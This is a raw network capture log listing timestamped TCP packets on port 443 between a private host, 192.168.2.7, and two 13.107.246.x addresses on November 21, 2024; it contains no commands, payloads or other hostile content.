Nov 21, 2024 00:03:41.770656109 CET	443	49821	13.107.246.60	192.168.2.7
Nov 21, 2024 00:03:41.770669937 CET	49821	443	192.168.2.7	13.107.246.60
Nov 21, 2024 00:03:41.770706892 CET	49821	443	192.168.2.7	13.107.246.60
Nov 21, 2024 00:03:41.786185026 CET	443	49821	13.107.246.60	192.168.2.7
Nov 21, 2024 00:03:41.786204100 CET	443	49821	13.107.246.60	192.168.2.7
Nov 21, 2024 00:03:41.786274910 CET	49821	443	192.168.2.7	13.107.246.60
Nov 21, 2024 00:03:41.786295891 CET	443	49821	13.107.246.60	192.168.2.7
Nov 21, 2024 00:03:41.786396027 CET	49821	443	192.168.2.7	13.107.246.60
Nov 21, 2024 00:03:41.803941965 CET	443	49821	13.107.246.60	192.168.2.7
Nov 21, 2024 00:03:41.803961992 CET	443	49821	13.107.246.60	192.168.2.7
Nov 21, 2024 00:03:41.804033041 CET	49821	443	192.168.2.7	13.107.246.60
Nov 21, 2024 00:03:41.804043055 CET	443	49821	13.107.246.60	192.168.2.7
Nov 21, 2024 00:03:41.804085970 CET	49821	443	192.168.2.7	13.107.246.60
Nov 21, 2024 00:03:41.821700096 CET	443	49821	13.107.246.60	192.168.2.7
Nov 21, 2024 00:03:41.821724892 CET	443	49821	13.107.246.60	192.168.2.7
Nov 21, 2024 00:03:41.821770906 CET	49821	443	192.168.2.7	13.107.246.60
Nov 21, 2024 00:03:41.821780920 CET	443	49821	13.107.246.60	192.168.2.7
Nov 21, 2024 00:03:41.821808100 CET	49821	443	192.168.2.7	13.107.246.60
Nov 21, 2024 00:03:41.821837902 CET	49821	443	192.168.2.7	13.107.246.60
Nov 21, 2024 00:03:41.837028027 CET	443	49821	13.107.246.60	192.168.2.7
Nov 21, 2024 00:03:41.837049961 CET	443	49821	13.107.246.60	192.168.2.7
Nov 21, 2024 00:03:41.837114096 CET	49821	443	192.168.2.7	13.107.246.60
Nov 21, 2024 00:03:41.837138891 CET	443	49821	13.107.246.60	192.168.2.7
Nov 21, 2024 00:03:41.837183952 CET	49821	443	192.168.2.7	13.107.246.60
Nov 21, 2024 00:03:41.965145111 CET	443	49821	13.107.246.60	192.168.2.7
Nov 21, 2024 00:03:41.965171099 CET	443	49821	13.107.246.60	192.168.2.7
Nov 21, 2024 00:03:41.965225935 CET	49821	443	192.168.2.7	13.107.246.60
Nov 21, 2024 00:03:41.965259075 CET	443	49821	13.107.246.60	192.168.2.7
Nov 21, 2024 00:03:41.965276957 CET	49821	443	192.168.2.7	13.107.246.60
Nov 21, 2024 00:03:41.965301991 CET	49821	443	192.168.2.7	13.107.246.60
Nov 21, 2024 00:03:41.986658096 CET	443	49821	13.107.246.60	192.168.2.7
Nov 21, 2024 00:03:41.986697912 CET	443	49821	13.107.246.60	192.168.2.7
Nov 21, 2024 00:03:41.986707926 CET	49821	443	192.168.2.7	13.107.246.60
Nov 21, 2024 00:03:41.986746073 CET	49821	443	192.168.2.7	13.107.246.60
Nov 21, 2024 00:03:41.986754894 CET	443	49821	13.107.246.60	192.168.2.7
Nov 21, 2024 00:03:41.986793041 CET	49821	443	192.168.2.7	13.107.246.60
Nov 21, 2024 00:03:41.986821890 CET	49821	443	192.168.2.7	13.107.246.60
Nov 21, 2024 00:03:41.987081051 CET	49821	443	192.168.2.7	13.107.246.60
Nov 21, 2024 00:03:41.987102032 CET	443	49821	13.107.246.60	192.168.2.7
Nov 21, 2024 00:03:42.174065113 CET	443	49826	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:42.177175999 CET	443	49826	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:42.178719044 CET	49826	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:42.184843063 CET	49826	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:42.184843063 CET	49826	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:42.184861898 CET	443	49826	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:42.184870005 CET	443	49826	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:42.189975977 CET	49835	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:42.190037012 CET	443	49835	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:42.190169096 CET	49835	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:42.190352917 CET	49835	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:42.190365076 CET	443	49835	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:42.234797001 CET	49836	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:42.234843969 CET	443	49836	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:42.234985113 CET	49836	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:42.235178947 CET	49836	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:42.235196114 CET	443	49836	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:42.909821987 CET	443	49827	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:42.910300016 CET	49827	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:42.910348892 CET	443	49827	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:42.910726070 CET	49827	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:42.910732985 CET	443	49827	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:43.103436947 CET	443	49829	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:43.104110003 CET	49829	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:43.104141951 CET	443	49829	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:43.104937077 CET	49829	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:43.104943991 CET	443	49829	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:43.162862062 CET	443	49828	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:43.163264990 CET	49828	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:43.163347006 CET	443	49828	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:43.163793087 CET	49828	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:43.163809061 CET	443	49828	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:43.353044987 CET	443	49827	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:43.356369972 CET	443	49827	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:43.356462955 CET	49827	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:43.356580973 CET	49827	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:43.356602907 CET	443	49827	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:43.356621027 CET	49827	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:43.356630087 CET	443	49827	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:43.359477997 CET	49837	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:43.359503031 CET	443	49837	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:43.359654903 CET	49837	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:43.359808922 CET	49837	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:43.359824896 CET	443	49837	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:43.432761908 CET	443	49831	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:43.438317060 CET	49831	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:43.438328981 CET	443	49831	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:43.439457893 CET	443	49831	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:43.439516068 CET	49831	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:43.439841032 CET	49831	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:43.439903975 CET	443	49831	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:43.440000057 CET	49831	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:43.440007925 CET	443	49831	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:43.479633093 CET	49831	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:43.546298027 CET	443	49829	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:43.549376965 CET	443	49829	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:43.549438953 CET	49829	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:43.551383018 CET	49829	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:43.551404953 CET	443	49829	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:43.555192947 CET	49838	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:43.555222034 CET	443	49838	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:43.555310965 CET	49838	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:43.555607080 CET	49838	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:43.555622101 CET	443	49838	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:43.586555004 CET	443	49832	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:43.593204975 CET	49832	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:43.593247890 CET	443	49832	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:43.593897104 CET	49832	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:43.593904972 CET	443	49832	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:43.607347965 CET	443	49828	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:43.610479116 CET	443	49828	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:43.610541105 CET	49828	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:43.610584021 CET	443	49828	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:43.610621929 CET	443	49828	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:43.610676050 CET	49828	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:43.610708952 CET	49828	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:43.610724926 CET	443	49828	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:43.614073992 CET	49839	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:43.614120007 CET	443	49839	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:43.614259958 CET	49839	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:43.614409924 CET	49839	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:43.614428997 CET	443	49839	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:43.922085047 CET	443	49835	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:43.939570904 CET	443	49831	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:43.939601898 CET	443	49831	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:43.939610958 CET	443	49831	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:43.939656019 CET	443	49831	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:43.939697981 CET	443	49831	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:43.939749002 CET	49831	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:43.939769983 CET	443	49831	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:43.939784050 CET	49831	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:43.939826965 CET	49831	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:43.957746983 CET	49835	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:43.957771063 CET	443	49835	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:43.959125996 CET	49835	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:43.959134102 CET	443	49835	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:43.982270956 CET	443	49836	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:43.982790947 CET	49836	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:43.982800961 CET	443	49836	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:43.983877897 CET	443	49836	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:43.983941078 CET	49836	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:43.984424114 CET	49836	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:43.984491110 CET	443	49836	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:43.984610081 CET	49836	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:43.984616995 CET	443	49836	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:44.024943113 CET	49836	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:44.045584917 CET	443	49832	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:44.045614004 CET	443	49832	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:44.045660973 CET	443	49832	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:44.045721054 CET	49832	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:44.045881033 CET	49832	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:44.045897007 CET	443	49832	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:44.045907021 CET	49832	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:44.045912981 CET	443	49832	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:44.048340082 CET	49842	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:44.048373938 CET	443	49842	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:44.048456907 CET	49842	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:44.048576117 CET	49842	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:44.048588037 CET	443	49842	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:44.132392883 CET	443	49831	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:44.132421970 CET	443	49831	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:44.132466078 CET	49831	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:44.132477999 CET	443	49831	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:44.132492065 CET	49831	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:44.132522106 CET	49831	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:44.202553034 CET	443	49831	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:44.202573061 CET	443	49831	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:44.202625036 CET	49831	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:44.202640057 CET	443	49831	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:44.202652931 CET	49831	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:44.202692032 CET	49831	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:44.207078934 CET	443	49831	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:44.207137108 CET	49831	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:44.207144976 CET	443	49831	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:44.207185030 CET	443	49831	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:44.207195997 CET	49831	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:44.207230091 CET	49831	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:44.208098888 CET	49831	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:44.208115101 CET	443	49831	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:44.591099024 CET	443	49835	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:44.591176033 CET	443	49835	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:44.591227055 CET	49835	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:44.591413021 CET	49835	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:44.591428995 CET	443	49835	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:44.591439962 CET	49835	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:44.591445923 CET	443	49835	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:44.591511011 CET	443	49836	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:44.591533899 CET	443	49836	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:44.591577053 CET	443	49836	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:44.591587067 CET	443	49836	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:44.591589928 CET	49836	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:44.591618061 CET	443	49836	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:44.591630936 CET	443	49836	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:44.591635942 CET	49836	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:44.591682911 CET	49836	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:44.598402977 CET	49845	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:44.598426104 CET	443	49845	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:44.598494053 CET	49845	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:44.601213932 CET	49845	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:44.601229906 CET	443	49845	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:44.753468990 CET	443	49836	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:44.753487110 CET	443	49836	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:44.753567934 CET	49836	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:44.753593922 CET	443	49836	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:44.753639936 CET	49836	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:44.811933994 CET	443	49836	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:44.811949968 CET	443	49836	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:44.812011957 CET	49836	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:44.812028885 CET	443	49836	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:44.812088013 CET	49836	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:44.866396904 CET	443	49836	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:44.866415977 CET	443	49836	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:44.866503000 CET	49836	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:44.866518974 CET	443	49836	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:44.866566896 CET	49836	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:44.924918890 CET	443	49836	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:44.924938917 CET	443	49836	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:44.925009966 CET	49836	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:44.925021887 CET	443	49836	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:44.925060987 CET	49836	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:44.975419998 CET	443	49836	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:44.975439072 CET	443	49836	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:44.975509882 CET	49836	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:44.975524902 CET	443	49836	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:44.975569010 CET	49836	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:45.000230074 CET	443	49836	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:45.000250101 CET	443	49836	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:45.000322104 CET	49836	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:45.000334978 CET	443	49836	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:45.000382900 CET	49836	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:45.020000935 CET	443	49836	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:45.020019054 CET	443	49836	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:45.020065069 CET	49836	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:45.020075083 CET	443	49836	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:45.020102024 CET	49836	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:45.020121098 CET	49836	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:45.037152052 CET	443	49836	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:45.037168026 CET	443	49836	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:45.037237883 CET	49836	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:45.037250996 CET	443	49836	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:45.037333012 CET	49836	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:45.061507940 CET	443	49836	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:45.061522961 CET	443	49836	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:45.061618090 CET	49836	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:45.061634064 CET	443	49836	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:45.061681986 CET	49836	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:45.087852001 CET	443	49836	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:45.087867975 CET	443	49836	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:45.087930918 CET	49836	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:45.087940931 CET	443	49836	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:45.087984085 CET	49836	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:45.112700939 CET	443	49836	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:45.112715960 CET	443	49836	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:45.112777948 CET	49836	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:45.112788916 CET	443	49836	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:45.112833023 CET	49836	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:45.125510931 CET	443	49836	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:45.125561953 CET	443	49836	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:45.125586033 CET	49836	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:45.125600100 CET	443	49836	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:45.125612974 CET	443	49836	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:45.125627041 CET	49836	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:45.125672102 CET	49836	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:45.125852108 CET	49836	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:45.125869989 CET	443	49836	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:45.149929047 CET	443	49837	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:45.150727034 CET	49837	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:45.150773048 CET	443	49837	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:45.151443005 CET	49837	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:45.151457071 CET	443	49837	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:45.437041044 CET	443	49838	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:45.437527895 CET	49838	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:45.437563896 CET	443	49838	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:45.438288927 CET	49838	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:45.438296080 CET	443	49838	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:45.511835098 CET	443	49839	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:45.512667894 CET	49839	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:45.512692928 CET	443	49839	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:45.513288021 CET	49839	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:45.513302088 CET	443	49839	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:45.592818022 CET	443	49837	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:45.596236944 CET	443	49837	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:45.596297979 CET	49837	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:45.596371889 CET	49837	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:45.596390963 CET	443	49837	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:45.596404076 CET	49837	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:45.596410990 CET	443	49837	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:45.598932028 CET	49851	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:45.598963022 CET	443	49851	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:45.599133968 CET	49851	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:45.599299908 CET	49851	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:45.599309921 CET	443	49851	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:45.832597971 CET	443	49842	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:45.833133936 CET	49842	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:45.833170891 CET	443	49842	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:45.833611012 CET	49842	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:45.833616972 CET	443	49842	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:45.894244909 CET	443	49838	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:45.897288084 CET	443	49838	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:45.897371054 CET	49838	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:45.897685051 CET	49838	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:45.897706985 CET	443	49838	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:45.897727966 CET	49838	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:45.897735119 CET	443	49838	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:45.900499105 CET	49852	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:45.900537014 CET	443	49852	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:45.900640965 CET	49852	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:45.900775909 CET	49852	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:45.900784016 CET	443	49852	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:45.971915960 CET	443	49839	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:45.974915981 CET	443	49839	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:45.974981070 CET	49839	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:45.975004911 CET	443	49839	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:45.975049973 CET	443	49839	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:45.975111008 CET	49839	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:45.975111008 CET	49839	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:45.975147963 CET	443	49839	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:45.975169897 CET	49839	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:45.975178957 CET	443	49839	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:45.986828089 CET	49853	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:45.986884117 CET	443	49853	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:45.987003088 CET	49853	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:45.987200975 CET	49853	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:45.987214088 CET	443	49853	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:46.278179884 CET	443	49842	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:46.278434038 CET	443	49842	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:46.278502941 CET	49842	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:46.347920895 CET	49842	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:46.347934008 CET	443	49842	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:46.367799044 CET	49859	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:46.367845058 CET	443	49859	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:46.367923021 CET	49859	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:46.370050907 CET	49859	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:46.370086908 CET	443	49859	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:46.392704010 CET	443	49845	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:46.433340073 CET	49845	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:46.444540977 CET	49845	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:46.444551945 CET	443	49845	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:46.462088108 CET	49845	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:46.462095022 CET	443	49845	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:46.859792948 CET	443	49845	13.107.246.45	192.168.2.7
